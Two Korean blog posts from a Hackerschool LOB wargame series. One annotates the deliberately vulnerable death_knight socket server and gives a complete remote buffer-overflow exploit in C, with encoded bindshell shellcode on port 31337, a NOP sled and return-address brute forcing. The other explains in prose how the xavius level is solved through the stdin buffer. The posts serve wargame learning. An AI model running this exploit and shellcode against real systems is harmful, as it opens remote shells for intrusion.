#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") //오류메시지 처리 socket:@@@@라고 뜸 
              exit(1); // 에러가 나서 종료함
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind"); //bind 라는 만구를 출력하고 

exit(1); //종료된다

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); //listen을 출력하고 

exit(1); // 종료된다 

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,                   &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); //accept라는 문구를 호출하고

continue; //지속한다 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면(?)

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); // Death~ 문구를 보냅니다 (52만큼 할당되었음)

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}

으으으으으으 문제 소스 주석이 다 끝났습니다! 햇갈리는 분은 봐주세요 

저희는 여지껏 로컬환경에서 공격을 진행했습니다 
하지만 이번에는 바깥 환경 ?(원격) 에서 진행을 해야하기 때문에 소켓프로그래밍을 이용해야합니다 .
또한 리모트 버퍼 오버플로우에서는 기존의 쉘코드를 사용해서는 안됩니다 
그 이유는 쉘코드의 fd는 0,1이지만 0,1은 현재 프로세스에서 돌고있는 파이프가 아니기때문에 fork 바이너리가 받아들이지 못합니다 
[ 기존에는 로컬에서 풀고 있던 문제였습니다 로컬에서 풀던 문제는 한 프로세스에서 돌아가고 있던거여서 가능하였지만 지금은 통신형식으로 외부에서 공격을 하는것이고 현재 프로세스에서 돌고 있는 파이프가 아니기때문에 fork 바이너리[ 자식을 0,1로 받지 않습니다]를 통과하지 못하기 때문에 공격할 프로그램과는 별개로 새로운 소켓을 생성하고 포트를 열고 /bin/bash와 연결하는 bindshell 백도어를 실행시켜야한다]

*코드를 추가할때 추가적으로 inte_addr을 이용해야한다 
inet_addr = 문자열 형태로 받은 주소를 8bit당 값을 4개씩 왼쪽에서 오른쪽으로 구성해주는 unsigned long 타입으로 변환해준다 
따라서 #include <arpa/inet.h> 헤더를 추가로 사용해줘야 한다 .

프로그래밍 실력이 모잘라서 이것저것 찾아보고 붙여놓고 하면서 거의 20시간 만에 성공한거같습니다 -_-;;

-------------------------------문제 소스입니다-------------------------------------------------

#include <stdio.h>

#include<stdlib.h>

#include<string.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<arpa/inet.h>


#define BUFSIZE 256 //BUFSIZE = 256 BUFSIZE를 호출하면 256이 들어감

#define RET_BUF 44 //RET_BUF = 44 RET_BUF를 호출하면 44가 들어간다

#define NOP 50      //NOP = 50 NOP을 호출하면 50이 들어간다

#define BIND 31337 //BIND = 31337 BIND를 호출하면 31337이 들어간다


char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

//바인드쉘코드 31337 포트를 개방하고 쉘을 실행시킵니다
exploitdb 및 검색으로 간단히 구하실 수 있어요 

int main(int argc, char* argv[]) //main 함수에 argc ,argv라는 매개변수를 전달한다.

{

int sock; //sock 변수를 선언한다

struct sockaddr_in target_addr; //target_addr 구조체 선언

unsigned int retaddr = 0xbffffff0; //바꿔나갈 return addr의 초기값

unsigned char buffer[BUFSIZE]; //버퍼의 사이즈를 설정한다 

char cmd[130]; //telnet 명령어 넣을곳의 크기 

sprintf(cmd, "%s %s %d", "telnet","localhost",BIND);

//sprintf = 변수에 형식 대입이 가능함 고로 cmd에 telnet~같은 문자열을 저장함)

while(1) { //무한 반복 ==for(;;)

memset(&target_addr, 0, sizeof(target_addr)); //target_addr의 모든 값을 0으로 초기화한다 

target_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV로 설정한다

target_addr.sin_port = htons(6666);//소켓의 6666포트를 연다

target_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); //127.0.0.1에 접속을 한다 

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
//IPv4 프로토콜 사용 , TCP/IP 이용 0프로토콜사용(보통 0 값을씀) 을 sock에 대입한후 만약 실패를 하게 되면

printf ("socket error"); //socket error 문구를 출력한다

return -1; // 오류를 반환한다

}

if(connect(sock, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1){
//연결요청을 target_addr의 주소로 보내고 그 주소 정보를 struct sockaddr 포인터가 가지고있다 sizeof(target_addr) = struct sockaddr*)&target_addr 포인터가 가르키고있는 구조체의 크기 [sock = 디스크립터]를 전달해서 연결에 실패한다면

printf("connect error"); //connect error를 출력함

close(sock); //sock을 닫는다 

continue; //while문을 빠져나와서 다음걸 진행한다 

}

retaddr -= NOP; // return addr의 초기값에서 NOP값 만큼 계속 감소

printf("retaddr : 0x%p\n" , retaddr); //retaddr의 주소를 출력함

memset(buffer, '\x90', sizeof(buffer));//버퍼를 모두 놉코드로 초기화 한다.

memcpy(buffer+RET_BUF, &retaddr, 4);//ret주소에 retaddr의 주소를 넣음

memcpy(buffer+100, bindshellcode, strlen(bindshellcode));//버퍼에서 100만큼 떨어진곳에 bindshellcode 만큼 크기를 할당하고 bindshellcode를 넣는다

send(sock, buffer , strlen(buffer), 0);// sock = 디스크립터 현재 버퍼가 들어잇는 소켓을 전송합니다

system(cmd); //시스템함수로 텔넷 명령어를 넣는다 

sleep(1); //1초마다 반복합니다 

close(sock); //sock을 닫습니당

}

return 0; //끄으으읕

}

대충 이렇게 구성이 되어있습니다
[제가 전부 짠 소스가 아니고 이곳 저곳 참고하면서 작성했습니다. 다음에 파이썬 이후에 소켓 프로그래밍도 공부해보고 싶습니다!]

실행을 시키니 Escape character is '^]' . 라는 문구가 등장하네요 
처음에는 오류인지 알고 소스를 처음부터 다시 짜려고 했습니다만

http://openness.tistory.com/entry/telnet-%EC%A0%91%EC%86%8D-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EA%B2%B0%EA%B3%BC-%EC%9D%98%EB%AF%B8 

이곳을 참고하시면 프로세스가 열린것을 알 수 있습니다 .

이런식으로 시도를 계속 해봣으나 실패했습니다 

세미콜론을 붙여서 하니까 출력이 되는군요 ?
[뒤에 쓰레기 값들이 붙어서 세미콜론으로 잘라내서 출력이 된것인지는 모르겠지만 추측해보고 있습니다. 아시는 분은 댓글좀 부탁드리겠습니다..]

수고하셨습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB CLEAR~  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

xavius의 소스코드입니다
저번과 같이 왠만한 부분은 전부 막아놔버렷네요
leave를 막아놓음으로써 fake ebp 기법을 방어한거같고
xc3은 ret을 ret에 넣는 방법을 방어한거같네요

ret의 끝자리가 \xc3인것을 확인 하실수 잇습니다
스택도 막아놓고 공유라이브러리도 막아놨네요 

그래서 이걸 어찌풀어야하지 .. 하고 고민을 하던찰라에 뭔가 주석이 달린 //overflow! 부분을 삽질해보기로 결정했습니다 . 

그러던 도중에 stdin으로 한번 통해서 간다는 생각이 들어서 stdin을 파해쳐 보기로 하였습니다 (사실 확신이 없어서 하루 종일 이것저것 파봤습니다-_-)

stdin의 주소를 출력한뒤 이동했습니다
다 초기화 햇을텐데 값이 보이네요 뭔가 실마리를 얻은거 같았습니다 

의심 가는 부분을 하나하나 찔러봤습니다 . .
혹시 몰라 브레이크 포인트도 수시로 바꿔주면서 값들을 확인하던 찰라에 

수십번을 시도 하고 아무리 값을 집어넣고 실행시켜도 
주소가 변하지 않아서 여기가 아닌가보다 그럼 도대체 어디지? 하면서
pe구조를 보던 찰나에 
뭔가를 입력해야만 
Breakpoint 1, 0x804882a in mian() 이런식으로 실행이 된다는것을 보고 
뭔가 이상함을 느꼈습니다 
그러다가 우연히 오타를 쳤는데

IO_2_1_stdion_  부분의 주소값들을 자세히 봐주세요 

IO_2_1_stdin_ 의 주소가 
0x40015001 에서 0x40015003 으로 변했습니다 

A를 무작위로 대입해줫더니
0x4001502c로 변했습니다 .
그래서 아무것도 안넣어줫을때 값이 초기 값이라고 생각하여 
0x40015000로 이동을 했습니다 

41들이 정상으로 들어가는것을 확인할 수 있습니다 
게다가 stdin의 주소는 리턴을 검사하는것에 걸리지도 않습니다 
뒷부분이 00이지만 놉코드를 써주고 쉘코드를 써주면 피해갈 수 있다고 짐작해볼수잇겠네요

계속 값을 주고 시도했는데 실패했습니다 
이유를 찾던 도중에.. 
fgets(buffer , 256 , stdin) 에서 
fgets를 사용해서 풀엇던 문제들은 | 와 cat을 이용해서 풀엇다는 사실을 알게되었습니다(복습좀 해야겠습니다 까먹엇었습니다)

풀게되었습니다 . .
lob를 끝내고 한번 더 정리해야겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB CLEAR~  (0) 2016.05.21
LOB death_knight  (0) 2016.05.21
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16

+ Recent posts